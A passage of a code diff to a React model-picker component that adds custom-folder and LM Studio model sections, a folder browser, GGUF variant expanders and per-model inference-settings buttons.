+                        );
+                      })()}
+
+                    {/* Add folder input */}
+                    {!customFoldersCollapsed && showFolderInput && (
+                      <div className="px-2.5 pb-1 pt-0.5">
+                        <div className="flex items-center gap-1">
+                          <HugeiconsIcon
+                            icon={Folder02Icon}
+                            className="size-3 shrink-0 text-muted-foreground/40"
+                          />
+                          <input
+                            value={folderInput}
+                            onChange={(e) => {
+                              setFolderInput(e.target.value);
+                              setFolderError(null);
+                            }}
+                            onKeyDown={(e) => {
+                              if (e.key === "Enter") {
+                                e.preventDefault();
+                                handleAddFolder();
+                              }
+                              if (e.key === "Escape") {
+                                e.preventDefault();
+                                e.stopPropagation();
+                                setShowFolderInput(false);
+                                setFolderInput("");
+                                setFolderError(null);
                               }
                             }}
-                            onArrowDownIntoChildren={
-                              isGguf && !isGgufFile && isGgufExpanded(m.id)
-                                ? () => {
-                                    const focused =
-                                      focusFirstChildOption(optionKey);
-                                    return focused;
-                                  }
-                                : undefined
-                            }
-                            vramStatus={null}
+                            placeholder="/path/to/models"
+                            className="h-6 min-w-0 flex-1 rounded border border-border/50 bg-transparent px-1.5 font-mono text-ui-10 text-foreground outline-none placeholder:text-muted-foreground/40 focus:border-foreground/20"
+                            disabled={folderLoading}
+                            autoFocus={true}
                           />
-                          {isGguf && !isGgufFile && isGgufExpanded(m.id) && (
-                            <GgufVariantExpander
-                              repoId={m.id}
-                              onDevice={true}
-                              onSelect={onSelect}
-                              parentOptionKey={optionKey}
-                              onNavigatePastStart={() =>
-                                hubModelList.focusOption(optionKey)
-                              }
-                              onNavigatePastEnd={() =>
-                                hubModelList.moveFocus(optionKey, "next")
-                              }
-                              gpuGb={
-                                gpu.available ? gpu.memoryTotalGb : undefined
-                              }
-                              systemRamGb={gpu.systemRamAvailableGb || undefined}
+                          <button
+                            type="button"
+                            onClick={() => setShowFolderBrowser(true)}
+                            disabled={folderLoading}
+                            aria-label="Browse for folder"
+                            title="Browse folders on the server"
+                            className="flex h-6 shrink-0 items-center justify-center rounded border border-border/50 px-1.5 text-muted-foreground transition-colors hover:bg-accent hover:text-foreground disabled:opacity-40"
+                          >
+                            <HugeiconsIcon
+                              icon={Search01Icon}
+                              className="size-3"
                             />
-                          )}
-                        </div>
-                      );
-                    })}
-                </>
-              ) : null}
-
-              {section === "downloaded" && sortedLocalDir.length > 0 ? (
-                <>
-                  <ListLabel
-                    divider={true}
-                    collapsed={localDirCollapsed}
-                    onToggle={() => setLocalDirCollapsed((v) => !v)}
-                  >
-                    Local models
-                  </ListLabel>
-                  {!localDirCollapsed &&
-                    sortedLocalDir.map((m) => {
-                      // A loose ./models/*.gguf file loads directly; a GGUF repo
-                      // directory expands to pick a variant. The backend's local
-                      // variant scanner returns nothing for a config-less loose
-                      // file, so expanding it would dead-end at "No GGUF variants".
-                      const isGgufFile = m.path.toLowerCase().endsWith(".gguf");
-                      const isGguf = localModelIsGguf(m);
-                      const optionKey = makeModelOptionKey("local-dir", m.id);
-                      return (
-                        <div key={m.id}>
-                          <ModelRow
-                            label={m.model_id ?? m.display_name}
-                            meta={isGguf ? "GGUF" : "Local"}
-                            tooltipText={localPathTooltip(
-                              m.model_id ?? m.display_name,
-                              m.path,
-                            )}
-                            selected={value === m.id}
-                            optionProps={hubModelList.getOptionProps(
-                              optionKey,
-                              value === m.id,
-                            )}
+                          </button>
+                          <button
+                            type="button"
                             onClick={() => {
-                              if (isGgufFile) {
-                                onSelect(m.id, {
-                                  source: "local",
-                                  isLora: false,
-                                  isDownloaded: true,
-                                  isGguf: true,
-                                });
-                              } else if (isGguf) {
-                                toggleGgufExpanded(m.id);
-                              } else {
-                                onSelect(m.id, {
-                                  source: "local",
-                                  isLora: false,
-                                  isDownloaded: true,
-                                });
-                              }
+                              void handleAddFolder();
                             }}
-                            onArrowDownIntoChildren={
-                              isGguf && !isGgufFile && isGgufExpanded(m.id)
-                                ? () => focusFirstChildOption(optionKey)
-                                : undefined
-                            }
-                            vramStatus={null}
-                          />
-                          {isGguf && !isGgufFile && isGgufExpanded(m.id) && (
-                            <GgufVariantExpander
-                              repoId={m.id}
-                              onDevice={true}
-                              onSelect={onSelect}
-                              parentOptionKey={optionKey}
-                              onNavigatePastStart={() =>
-                                hubModelList.focusOption(optionKey)
-                              }
-                              onNavigatePastEnd={() =>
-                                hubModelList.moveFocus(optionKey, "next")
-                              }
-                              gpuGb={
-                                gpu.available ? gpu.memoryTotalGb : undefined
-                              }
-                              systemRamGb={gpu.systemRamAvailableGb || undefined}
-                            />
-                          )}
+                            disabled={folderLoading || !folderInput.trim()}
+                            className="h-6 shrink-0 rounded border border-border/50 px-1.5 text-ui-10 text-muted-foreground transition-colors hover:bg-accent disabled:opacity-40"
+                          >
+                            Add
+                          </button>
                         </div>
-                      );
-                    })}
-                </>
-              ) : null}
-
-              {showRecommendedSection ? (
-                <>
-                  {recommendedSearch.isLoading &&
-                  recommendedRows.length === 0 ? (
-                    <div className="flex items-center gap-2 px-5 py-3">
-                      <Spinner className="size-3 text-muted-foreground" />
-                      <span className="text-xs text-muted-foreground">
-                        Loading models…
-                      </span>
-                    </div>
-                  ) : recommendedRows.length === 0 ? (
-                    <div className="px-2.5 py-2 text-xs text-muted-foreground">
-                      No models found.
-                    </div>
-                  ) : (
-                    recommendedRows.map((r) => {
-                      const id = r.id;
-                      const info = recommendedMeta.get(id);
-                      const isG = isKnownGgufRepo(id);
-                      const optionKey = makeModelOptionKey("recommended", id);
-                      return (
-                        <div key={id}>
-                          <ModelRow
-                            label={id}
-                            hideOwner={true}
-                            downloaded={downloadedSet.has(id.toLowerCase())}
-                            capabilities={capsById.get(id)}
-                            meta={
-                              info?.meta ??
-                              (isG ? "GGUF" : extractParamLabel(id))
-                            }
-                            selected={value === id}
-                            optionProps={hubModelList.getOptionProps(
-                              optionKey,
-                              value === id,
-                            )}
-                            onClick={() => {
-                              if (isG) {
-                                setExpandedGguf((prev) =>
-                                  prev === id ? null : id,
-                                );
-                              } else {
-                                handleModelClick(id);
-                              }
-                            }}
-                            vramStatus={info?.status ?? null}
-                            vramEst={info?.est}
-                            gpuGb={
-                              gpu.available ? gpu.memoryTotalGb : undefined
-                            }
-                            onArrowDownIntoChildren={
-                              expandedGguf === id
-                                ? () => focusFirstChildOption(optionKey)
-                                : undefined
-                            }
-                          />
-                          {expandedGguf === id && (
-                            <GgufVariantExpander
-                              repoId={id}
-                              onSelect={onSelect}
-                              hfToken={hfToken || undefined}
-                              parentOptionKey={optionKey}
-                              onNavigatePastStart={() =>
-                                hubModelList.focusOption(optionKey)
-                              }
-                              onNavigatePastEnd={() =>
-                                hubModelList.moveFocus(optionKey, "next")
-                              }
-                              gpuGb={
-                                gpu.available ? gpu.memoryTotalGb : undefined
-                              }
-                              systemRamGb={gpu.systemRamAvailableGb || undefined}
-                              variantActions={{
-                                onDelete: async (quant) => {
-                                  await deleteCachedModel(id, quant);
-                                  refreshCachedLists();
-                                },
-                              }}
-                            />
-                          )}
-                        </div>
-                      );
-                    })
-                  )}
-                  {recommendedSearch.hasMore && (
-                    <>
-                      <div ref={recommendedSentinelRef} className="h-px" />
-                      <div className="flex items-center justify-center py-2">
-                        <Spinner className="size-3.5 text-muted-foreground" />
-                      </div>
-                    </>
-                  )}
-                </>
-              ) : null}
-
-              {showHfSection &&
-              section === "recommended" &&
-              filteredRecommendedIds.length > 0 ? (
-                <>
-                  {filteredRecommendedIds.map((id) => {
-                    const vram = recommendedVramMap.get(id);
-                    const optionKey = makeModelOptionKey(
-                      "search-recommended",
-                      id,
-                    );
-                    return (
-                      <div key={id}>
-                        <ModelRow
-                          label={id}
-                          capabilities={capsById.get(id)}
-                          meta={
-                            isKnownGgufRepo(id)
-                              ? "GGUF"
-                              : (vram?.detail ?? extractParamLabel(id))
-                          }
-                          selected={value === id}
-                          optionProps={hubModelList.getOptionProps(
-                            optionKey,
-                            value === id,
-                          )}
-                          onClick={() => {
-                            if (isKnownGgufRepo(id)) {
-                              setExpandedGguf((prev) =>
-                                prev === id ? null : id,
-                              );
-                            } else {
-                              handleModelClick(id);
-                            }
-                          }}
-                          vramStatus={
-                            isKnownGgufRepo(id) ? null : (vram?.status ?? null)
-                          }
-                          vramEst={isKnownGgufRepo(id) ? undefined : vram?.est}
-                          gpuGb={gpu.available ? gpu.memoryTotalGb : undefined}
-                          onArrowDownIntoChildren={
-                            expandedGguf === id
-                              ? () => {
-                                  const focused =
-                                    focusFirstChildOption(optionKey);
-                                  return focused;
-                                }
-                              : undefined
-                          }
-                        />
-                        {expandedGguf === id && (
-                          <GgufVariantExpander
-                            repoId={id}
-                            onSelect={onSelect}
-                            hfToken={hfToken || undefined}
-                            parentOptionKey={optionKey}
-                            onNavigatePastStart={() =>
-                              hubModelList.focusOption(optionKey)
-                            }
-                            onNavigatePastEnd={() =>
-                              hubModelList.moveFocus(optionKey, "next")
-                            }
-                            gpuGb={
-                              gpu.available ? gpu.memoryTotalGb : undefined
-                            }
-                            systemRamGb={gpu.systemRamAvailableGb || undefined}
-                            variantActions={{
-                              onDelete: async (quant) => {
-                                await deleteCachedModel(id, quant);
-                                refreshCachedLists();
-                              },
-                            }}
-                          />
+                        {folderError && (
+                          <p className="px-0.5 pt-0.5 text-ui-10 text-destructive">
+                            {folderError}
+                          </p>
                         )}
                       </div>
-                    );
-                  })}
-                </>
-              ) : null}
+                    )}
 
-              {showHfSection && section === "recommended" ? (
-                <>
-                  {hfIds.length === 0 && !isLoading ? (
-                    filteredRecommendedIds.length === 0 ? (
+                    <FolderBrowser
+                      open={showFolderBrowser}
+                      onOpenChange={setShowFolderBrowser}
+                      initialPath={folderInput.trim() || undefined}
+                      onSelect={(picked) => {
+                        setFolderInput(picked);
+                        setFolderError(null);
+                        // Pass the path explicitly: `folderInput` state hasn't
+                        // flushed yet when "Use this folder" submits.
+                        void handleAddFolder(picked);
+                      }}
+                    />
+
+                    {/* Models from custom folders */}
+                    {!customFoldersCollapsed &&
+                      sortedCustomFolderModels.map((m) => {
+                        const isGgufFile = m.path
+                          .toLowerCase()
+                          .endsWith(".gguf");
+                        // Honor the backend model_format hint (suffixless GGUF
+                        // folders) in addition to name/path so the row classifies
+                        // and loads through the same GGUF path as the filter.
+                        const isGguf = localModelIsGguf(m);
+                        // Single .gguf files (e.g. Ollama blobs) load directly;
+                        // GGUF repos/directories expand to pick a variant.
+                        const isDirectGguf = isGgufFile;
+                        const optionKey = makeModelOptionKey(
+                          "custom-folder",
+                          m.id,
+                        );
+                        return (
+                          <div key={m.id}>
+                            <div className="flex items-center gap-0.5">
+                              <div className="min-w-0 flex-1">
+                                <ModelRow
+                                  label={m.model_id ?? m.display_name}
+                                  meta={isGguf ? "GGUF" : "Local"}
+                                  tooltipText={localPathTooltip(
+                                    m.model_id ?? m.display_name,
+                                    m.path,
+                                  )}
+                                  selected={value === m.id}
+                                  loaded={isRuntimeLoadedModel(
+                                    loadedModelId,
+                                    activeGgufVariant,
+                                    m.id,
+                                    isGgufFile
+                                      ? "ignore"
+                                      : isGguf
+                                        ? "required"
+                                        : "none",
+                                  )}
+                                  optionProps={hubModelList.getOptionProps(
+                                    optionKey,
+                                    value === m.id,
+                                  )}
+                                  onClick={() => {
+                                    if (isDirectGguf) {
+                                      onSelect(m.id, localDirectGgufMeta());
+                                    } else if (isGguf) {
+                                      toggleGgufExpanded(m.id);
+                                    } else {
+                                      onSelect(m.id, localModelMeta());
+                                    }
+                                  }}
+                                  onArrowDownIntoChildren={
+                                    isGguf &&
+                                    !isDirectGguf &&
+                                    isGgufExpanded(m.id)
+                                      ? () => {
+                                          const focused =
+                                            focusFirstChildOption(optionKey);
+                                          return focused;
+                                        }
+                                      : undefined
+                                  }
+                                  vramStatus={null}
+                                />
+                              </div>
+                              {isDirectGguf && onConfigure && (
+                                <ModelLoadSettingsAction
+                                  ariaLabel={`Inference settings for ${
+                                    m.model_id ?? m.display_name
+                                  }`}
+                                  onConfigure={() =>
+                                    onConfigure(m.id, localDirectGgufMeta())
+                                  }
+                                />
+                              )}
+                              {!isGguf && onConfigure && (
+                                <ModelLoadSettingsAction
+                                  ariaLabel={`Inference settings for ${
+                                    m.model_id ?? m.display_name
+                                  }`}
+                                  onConfigure={() =>
+                                    onConfigure(m.id, localModelMeta())
+                                  }
+                                />
+                              )}
+                            </div>
+                            {isGguf &&
+                              !isDirectGguf &&
+                              isGgufExpanded(m.id) && (
+                                <GgufVariantExpander
+                                  repoId={m.id}
+                                  onDevice={true}
+                                  onSelect={onSelect}
+                                  onConfigure={onConfigure}
+                                  parentOptionKey={optionKey}
+                                  onNavigatePastStart={() =>
+                                    hubModelList.focusOption(optionKey)
+                                  }
+                                  onNavigatePastEnd={() =>
+                                    hubModelList.moveFocus(optionKey, "next")
+                                  }
+                                  gpuGb={
+                                    gpu.available
+                                      ? gpu.memoryTotalGb
+                                      : undefined
+                                  }
+                                  systemRamGb={
+                                    gpu.systemRamAvailableGb || undefined
+                                  }
+                                />
+                              )}
+                          </div>
+                        );
+                      })}
+                    {!customFoldersCollapsed &&
+                    showHfSection &&
+                    sortedCustomFolderModels.length === 0 ? (
                       <div className="px-2.5 py-2 text-xs text-muted-foreground">
-                        No matching Unsloth models.
+                        No matching models in custom folders.
                       </div>
-                    ) : null
-                  ) : (
-                    hfIds.map((id) => {
-                      const vram = vramMap.get(id);
-                      const isSearchGguf = isKnownGgufRepo(id);
-                      const optionKey = makeModelOptionKey("search-hf", id);
+                    ) : null}
+                  </>
+                ) : null}
+
+                {section === "downloaded" && sortedLmStudio.length > 0 ? (
+                  <>
+                    <ListLabel
+                      divider={true}
+                      collapsed={lmStudioCollapsed}
+                      onToggle={() => setLmStudioCollapsed((v) => !v)}
+                    >
+                      LM Studio
+                    </ListLabel>
+                    {!lmStudioCollapsed &&
+                      sortedLmStudio.map((m) => {
+                        const isGgufFile = m.path
+                          .toLowerCase()
+                          .endsWith(".gguf");
+                        // LM Studio dirs are GGUF but rarely carry a -GGUF suffix;
+                        // use the shared helper (model_format hint) so the row,
+                        // filter, and load path agree.
+                        const isGguf = localModelIsGguf(m);
+                        const optionKey = makeModelOptionKey("lm-studio", m.id);
+                        return (
+                          <div key={m.id}>
+                            <div className="flex items-center gap-0.5">
+                              <div className="min-w-0 flex-1">
+                                <ModelRow
+                                  label={m.model_id ?? m.display_name}
+                                  meta={isGguf ? "GGUF" : "Local"}
+                                  tooltipText={localPathTooltip(
+                                    m.model_id ?? m.display_name,
+                                    m.path,
+                                  )}
+                                  selected={value === m.id}
+                                  loaded={isRuntimeLoadedModel(
+                                    loadedModelId,
+                                    activeGgufVariant,
+                                    m.id,
+                                    isGgufFile
+                                      ? "ignore"
+                                      : isGguf
+                                        ? "required"
+                                        : "none",
+                                  )}
+                                  optionProps={hubModelList.getOptionProps(
+                                    optionKey,
+                                    value === m.id,
+                                  )}
+                                  onClick={() => {
+                                    if (isGgufFile) {
+                                      onSelect(m.id, localDirectGgufMeta());
+                                    } else if (isGguf) {
+                                      toggleGgufExpanded(m.id);
+                                    } else {
+                                      onSelect(m.id, localModelMeta());
+                                    }
+                                  }}
+                                  onArrowDownIntoChildren={
+                                    isGguf &&
+                                    !isGgufFile &&
+                                    isGgufExpanded(m.id)
+                                      ? () => {
+                                          const focused =
+                                            focusFirstChildOption(optionKey);
+                                          return focused;
+                                        }
+                                      : undefined
+                                  }
+                                  vramStatus={null}
+                                />
+                              </div>
+                              {isGgufFile && onConfigure && (
+                                <ModelLoadSettingsAction
+                                  ariaLabel={`Inference settings for ${
+                                    m.model_id ?? m.display_name
+                                  }`}
+                                  onConfigure={() =>
+                                    onConfigure(m.id, localDirectGgufMeta())
+                                  }
+                                />
+                              )}
+                              {!isGguf && onConfigure && (
+                                <ModelLoadSettingsAction
+                                  ariaLabel={`Inference settings for ${
+                                    m.model_id ?? m.display_name
+                                  }`}
+                                  onConfigure={() =>
+                                    onConfigure(m.id, localModelMeta())
+                                  }
+                                />
+                              )}
+                            </div>
+                            {isGguf && !isGgufFile && isGgufExpanded(m.id) && (
+                              <GgufVariantExpander
+                                repoId={m.id}
+                                onDevice={true}
+                                onSelect={onSelect}
+                                onConfigure={onConfigure}
+                                parentOptionKey={optionKey}
+                                onNavigatePastStart={() =>
+                                  hubModelList.focusOption(optionKey)
+                                }
+                                onNavigatePastEnd={() =>
+                                  hubModelList.moveFocus(optionKey, "next")
+                                }
+                                gpuGb={
+                                  gpu.available ? gpu.memoryTotalGb : undefined
+                                }
+                                systemRamGb={
+                                  gpu.systemRamAvailableGb || undefined
+                                }
+                              />
+                            )}
+                          </div>
+                        );
+                      })}
+                  </>
+                ) : null}
+
+                {section === "downloaded" && sortedLocalDir.length > 0 ? (
+                  <>
+                    <ListLabel
+                      divider={true}
+                      collapsed={localDirCollapsed}
+                      onToggle={() => setLocalDirCollapsed((v) => !v)}
+                    >
+                      Local models
+                    </ListLabel>
+                    {!localDirCollapsed &&
+                      sortedLocalDir.map((m) => {
+                        // A loose ./models/*.gguf loads directly; a GGUF repo dir
+                        // expands to pick a variant. The variant scanner returns
+                        // nothing for a config-less loose file, so expanding it would
+                        // dead-end at "No GGUF variants".
+                        const isGgufFile = m.path
+                          .toLowerCase()
+                          .endsWith(".gguf");
+                        const isGguf = localModelIsGguf(m);
+                        const optionKey = makeModelOptionKey("local-dir", m.id);
+                        return (
+                          <div key={m.id}>
+                            <div className="flex items-center gap-0.5">
+                              <div className="min-w-0 flex-1">
+                                <ModelRow
+                                  label={m.model_id ?? m.display_name}
+                                  meta={isGguf ? "GGUF" : "Local"}
+                                  tooltipText={localPathTooltip(
+                                    m.model_id ?? m.display_name,
+                                    m.path,
+                                  )}
+                                  selected={value === m.id}
+                                  loaded={isRuntimeLoadedModel(
+                                    loadedModelId,
+                                    activeGgufVariant,
+                                    m.id,
+                                    isGgufFile
+                                      ? "ignore"
+                                      : isGguf
+                                        ? "required"
+                                        : "none",
+                                  )}
+                                  optionProps={hubModelList.getOptionProps(
+                                    optionKey,
+                                    value === m.id,
+                                  )}
+                                  onClick={() => {
+                                    if (isGgufFile) {
+                                      onSelect(m.id, localDirectGgufMeta());
+                                    } else if (isGguf) {
+                                      toggleGgufExpanded(m.id);
+                                    } else {
+                                      onSelect(m.id, localModelMeta());
+                                    }
+                                  }}
+                                  onArrowDownIntoChildren={
+                                    isGguf &&
+                                    !isGgufFile &&
+                                    isGgufExpanded(m.id)
+                                      ? () => focusFirstChildOption(optionKey)
+                                      : undefined
+                                  }
+                                  vramStatus={null}
+                                />
+                              </div>
+                              {isGgufFile && onConfigure && (
+                                <ModelLoadSettingsAction
+                                  ariaLabel={`Inference settings for ${
+                                    m.model_id ?? m.display_name
+                                  }`}
+                                  onConfigure={() =>
+                                    onConfigure(m.id, localDirectGgufMeta())
+                                  }
+                                />
+                              )}
+                              {!isGguf && onConfigure && (
+                                <ModelLoadSettingsAction
+                                  ariaLabel={`Inference settings for ${
+                                    m.model_id ?? m.display_name
+                                  }`}
+                                  onConfigure={() =>
+                                    onConfigure(m.id, localModelMeta())
+                                  }
+                                />
+                              )}
+                            </div>
+                            {isGguf && !isGgufFile && isGgufExpanded(m.id) && (
+                              <GgufVariantExpander
+                                repoId={m.id}
+                                onDevice={true}
+                                onSelect={onSelect}
+                                onConfigure={onConfigure}
+                                parentOptionKey={optionKey}
+                                onNavigatePastStart={() =>
+                                  hubModelList.focusOption(optionKey)
+                                }
+                                onNavigatePastEnd={() =>
+                                  hubModelList.moveFocus(optionKey, "next")
+                                }
+                                gpuGb={
+                                  gpu.available ? gpu.memoryTotalGb : undefined
+                                }
+                                systemRamGb={
+                                  gpu.systemRamAvailableGb || undefined
+                                }
+                              />
+                            )}
+                          </div>
+                        );
+                      })}
+                  </>
+                ) : null}
+
+                {showRecommendedSection ? (
+                  <>
+                    {recommendedSearch.isLoading &&
+                    recommendedRows.length === 0 ? (
+                      <div className="flex items-center gap-2 px-5 py-3">
+                        <Spinner className="size-3 text-muted-foreground" />
+                        <span className="text-xs text-muted-foreground">
+                          Loading models…
+                        </span>
+                      </div>
+                    ) : recommendedRows.length === 0 ? (
+                      <div className="px-2.5 py-2 text-xs text-muted-foreground">
+                        No models found.
+                      </div>
+                    ) : (
+                      recommendedRows.map((r) => {
+                        const id = r.id;
+                        const info = recommendedMeta.get(id);
+                        const isG = isKnownGgufRepo(id);
+                        const optionKey = makeModelOptionKey("recommended", id);
+                        return (
+                          <div key={id}>
+                            <ModelRow
+                              label={id}
+                              hubUrl={hubRepoUrl(id)}
+                              hideOwner={true}
+                              downloaded={downloadedSet.has(id.toLowerCase())}
+                              capabilities={capsById.get(id)}
+                              meta={
+                                info?.meta ??
+                                (isG ? "GGUF" : extractParamLabel(id))
+                              }
+                              selected={value === id}
+                              loaded={isRuntimeLoadedModel(
+                                loadedModelId,
+                                activeGgufVariant,
+                                id,
+                                isG ? "required" : "none",
+                              )}
+                              optionProps={hubModelList.getOptionProps(
+                                optionKey,
+                                value === id,
+                              )}
+                              onClick={() => {
+                                if (isG) {
+                                  setExpandedGguf((prev) =>
+                                    prev === id ? null : id,
+                                  );
+                                } else {
+                                  handleModelClick(id);
+                                }
+                              }}
+                              vramStatus={info?.status ?? null}
+                              vramEst={info?.est}
+                              gpuGb={
+                                gpu.available ? gpu.memoryTotalGb : undefined
+                              }
+                              onArrowDownIntoChildren={
+                                expandedGguf === id
+                                  ? () => focusFirstChildOption(optionKey)
+                                  : undefined
+                              }
+                            />
+                            {expandedGguf === id && (
+                              <GgufVariantExpander
+                                repoId={id}
+                                onSelect={onSelect}
+                                onConfigure={onConfigure}
+                                hfToken={hfToken || undefined}
+                                parentOptionKey={optionKey}
+                                onNavigatePastStart={() =>
+                                  hubModelList.focusOption(optionKey)
+                                }
+                                onNavigatePastEnd={() =>
+                                  hubModelList.moveFocus(optionKey, "next")
+                                }
+                                gpuGb={
+                                  gpu.available ? gpu.memoryTotalGb : undefined
+                                }
+                                systemRamGb={
+                                  gpu.systemRamAvailableGb || undefined
+                                }
+                                variantActions={{
+                                  onDelete: async (quant) => {
+                                    await deleteCachedModel(
+                                      id,
+                                      quant,
+                                      hfToken || undefined,
+                                    );
+                                    prunePinnedQuantValidation(id, quant);
+                                    refreshCachedLists();
+                                  },
+                                }}
+                              />
+                            )}
+                          </div>
+                        );
+                      })
+                    )}
+                    {recommendedSearch.hasMore && (
+                      <>
+                        <div ref={recommendedSentinelRef} className="h-px" />
+                        <div className="flex items-center justify-center py-2">
+                          <Spinner className="size-3.5 text-muted-foreground" />
+                        </div>
+                      </>
+                    )}
+                  </>
+                ) : null}
+
+                {showHfSection &&
+                section === "recommended" &&
+                filteredRecommendedIds.length > 0 ? (
+                  <>
+                    {filteredRecommendedIds.map((id) => {
+                      const vram = recommendedVramMap.get(id);
+                      const optionKey = makeModelOptionKey(
+                        "search-recommended",
+                        id,
+                      );
                       return (
                         <div key={id}>
                           <ModelRow
                             label={id}
+                            hubUrl={hubRepoUrl(id)}
                             capabilities={capsById.get(id)}
                             meta={
-                              isSearchGguf
+                              isKnownGgufRepo(id)
                                 ? "GGUF"
-                                : [
-                                    metricsById.get(id) ??
-                                      extractParamLabel(id),
-                                    isMlxId(id) ? "MLX" : "Safetensors",
-                                  ]
-                                    .filter(Boolean)
-                                    .join(" · ")
+                                : (vram?.detail ?? extractParamLabel(id))
                             }
                             selected={value === id}
+                            loaded={isRuntimeLoadedModel(
+                              loadedModelId,
+                              activeGgufVariant,
+                              id,
+                              isKnownGgufRepo(id) ? "required" : "none",
+                            )}
                             optionProps={hubModelList.getOptionProps(
                               optionKey,
                               value === id,
                             )}
                             onClick={() => {
-                              if (isSearchGguf) {
+                              if (isKnownGgufRepo(id)) {
                                 setExpandedGguf((prev) =>
                                   prev === id ? null : id,
                                 );
@@ -3578,9 +4089,13 @@ export function HubModelPicker({
                               }
                             }}
                             vramStatus={
-                              isSearchGguf ? null : (vram?.status ?? null)
+                              isKnownGgufRepo(id)
+                                ? null
+                                : (vram?.status ?? null)
+                            }
+                            vramEst={
+                              isKnownGgufRepo(id) ? undefined : vram?.est
                             }
-                            vramEst={isSearchGguf ? undefined : vram?.est}
                             gpuGb={
                               gpu.available ? gpu.memoryTotalGb : undefined
                             }
@@ -3598,6 +4113,7 @@ export function HubModelPicker({
                             <GgufVariantExpander
                               repoId={id}
                               onSelect={onSelect}
+                              onConfigure={onConfigure}
                               hfToken={hfToken || undefined}
                               parentOptionKey={optionKey}
                               onNavigatePastStart={() =>
@@ -3609,10 +4125,17 @@ export function HubModelPicker({
                               gpuGb={
                                 gpu.available ? gpu.memoryTotalGb : undefined
                               }
-                              systemRamGb={gpu.systemRamAvailableGb || undefined}
+                              systemRamGb={
+                                gpu.systemRamAvailableGb || undefined
+                              }
                               variantActions={{
                                 onDelete: async (quant) => {
-                                  await deleteCachedModel(id, quant);
+                                  await deleteCachedModel(
+                                    id,
+                                    quant,
+                                    hfToken || undefined,
+                                  );
+                                  prunePinnedQuantValidation(id, quant);
                                   refreshCachedLists();
                                 },
                               }}
@@ -3620,35 +4143,138 @@ export function HubModelPicker({
                           )}
                         </div>
                       );
-                    })
-                  )}
-                  <div ref={sentinelRef} className="h-px" />
-                  {isLoadingMore ? (
-                    <div className="flex items-center justify-center py-2">
-                      <Spinner className="size-3.5 text-muted-foreground" />
-                    </div>
-                  ) : null}
-                </>
-              ) : null}
-            </>
-          )}
+                    })}
+                  </>
+                ) : null}
+
+                {showHfSection && section === "recommended" ? (
+                  <>
+                    {hfIds.length === 0 && !isLoading ? (
+                      filteredRecommendedIds.length === 0 ? (
+                        <div className="px-2.5 py-2 text-xs text-muted-foreground">
+                          No matching Unsloth models.
+                        </div>
+                      ) : null
+                    ) : (
+                      hfIds.map((id) => {
+                        const vram = vramMap.get(id);
+                        const isSearchGguf = isKnownGgufRepo(id);
+                        const optionKey = makeModelOptionKey("search-hf", id);
+                        return (
+                          <div key={id}>
+                            <ModelRow
+                              label={id}
+                              hubUrl={hubRepoUrl(id)}
+                              capabilities={capsById.get(id)}
+                              meta={
+                                isSearchGguf
+                                  ? "GGUF"
+                                  : [
+                                      metricsById.get(id) ??
+                                        extractParamLabel(id),
+                                      isMlxId(id) ? "MLX" : "Safetensors",
+                                    ]
+                                      .filter(Boolean)
+                                      .join(" · ")
+                              }
+                              selected={value === id}
+                              loaded={isRuntimeLoadedModel(
+                                loadedModelId,
+                                activeGgufVariant,
+                                id,
+                                isSearchGguf ? "required" : "none",
+                              )}
+                              optionProps={hubModelList.getOptionProps(
+                                optionKey,
+                                value === id,
+                              )}
+                              onClick={() => {
+                                if (isSearchGguf) {
+                                  setExpandedGguf((prev) =>
+                                    prev === id ? null : id,
+                                  );
+                                } else {
+                                  handleModelClick(id);
+                                }
+                              }}
+                              vramStatus={
+                                isSearchGguf ? null : (vram?.status ?? null)
+                              }
+                              vramEst={isSearchGguf ? undefined : vram?.est}
+                              gpuGb={
+                                gpu.available ? gpu.memoryTotalGb : undefined
+                              }
+                              onArrowDownIntoChildren={
+                                expandedGguf === id
+                                  ? () => {
+                                      const focused =
+                                        focusFirstChildOption(optionKey);
+                                      return focused;
+                                    }
+                                  : undefined
+                              }
+                            />
+                            {expandedGguf === id && (
+                              <GgufVariantExpander
+                                repoId={id}
+                                onSelect={onSelect}
+                                onConfigure={onConfigure}
+                                hfToken={hfToken || undefined}
+                                parentOptionKey={optionKey}
+                                onNavigatePastStart={() =>
+                                  hubModelList.focusOption(optionKey)
+                                }
+                                onNavigatePastEnd={() =>
+                                  hubModelList.moveFocus(optionKey, "next")
+                                }
+                                gpuGb={
+                                  gpu.available ? gpu.memoryTotalGb : undefined
+                                }
+                                systemRamGb={
+                                  gpu.systemRamAvailableGb || undefined
+                                }
+                                variantActions={{
+                                  onDelete: async (quant) => {
+                                    await deleteCachedModel(
+                                      id,
+                                      quant,
+                                      hfToken || undefined,
+                                    );
+                                    prunePinnedQuantValidation(id, quant);
+                                    refreshCachedLists();
+                                  },
+                                }}
+                              />
+                            )}
+                          </div>
+                        );
+                      })
+                    )}
+                    <div ref={sentinelRef} className="h-px" />
+                    {isLoadingMore ? (
+                      <div className="flex items-center justify-center py-2">
+                        <Spinner className="size-3.5 text-muted-foreground" />
+                      </div>
+                    ) : null}
+                  </>
+                ) : null}
+              </>
+            )}
+          </div>
         </div>
-      </div>
-      {/* Floating eject pill: overlaid on the list bottom, outside the scroll
-          so the edge fade never touches it. Only the pill catches clicks. */}
-      {onEject ? (
-        <div className="pointer-events-none absolute inset-x-0 bottom-0 flex justify-end pr-3.5 pb-[19px]">
-          <button
-            type="button"
-            onClick={onEject}
-            className="pointer-events-auto inline-flex items-center justify-center gap-2 rounded-md bg-popover px-3 py-2 text-[13px] font-medium text-destructive shadow-[0_2px_8px_-2px_rgba(0,0,0,0.16)] transition-colors hover:bg-[color-mix(in_srgb,var(--destructive)_12%,var(--popover))] dark:bg-[color-mix(in_srgb,var(--foreground)_10%,var(--sidebar))] dark:shadow-none dark:hover:bg-[color-mix(in_srgb,var(--destructive)_22%,var(--sidebar))]"
-            title="Eject model"
-          >
-            <HugeiconsIcon icon={RemoveCircleIcon} className="size-3.5" />
-            Eject model
-          </button>
-        </div>
-      ) : null}
+        {onEject ? (
+          <div className="pointer-events-none absolute inset-x-0 bottom-0 flex justify-end pr-3.5 pb-[19px]">
+            <button
+              type="button"
+              onClick={onEject}
